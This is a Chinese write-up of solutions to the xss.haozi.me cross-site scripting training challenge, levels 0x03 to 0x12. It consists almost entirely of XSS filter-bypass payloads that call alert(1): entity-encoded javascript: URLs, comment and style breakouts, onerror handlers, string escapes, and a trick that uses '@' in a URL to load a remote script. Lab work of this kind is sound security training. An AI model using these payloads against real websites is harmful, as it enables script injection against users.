[移动开发]xss.haozi挑战

0x03(模板字符串)
<a href=javascript:alert `1`>1</a>

0x04(url)
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">1</a>

0x05（--!>）
--!><script>alert(1)</script>

0x06(换行)
onclick
=alert(1)

0x07(on事件)
<img src=x οnerrοr=alert(1)>?

0x08(//用法)
</style//><script>alert(1)</script>

0x09(on事件)
https://www.segmentfault.com" οnerrοr=alert(1)

0x0A(@的用法相当于访问https://xss.haozi.me/j.js)
https://www.segmentfault.com@xss.haozi.me/j.js

0x0B(url)
<a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>1</a>

0x0C(url)
<a href=javascrip&#116;:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>1</a>

0x0D(换行+注释)
换行
alert(1)
-->

0x0E(?大写后是S)
<?vg/οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0F(on事件url)
'),alert('1

0x10
alert(1)

0x11(on事件url)
"),alert("1

0x12(过滤利用)
\",alert(1))<!--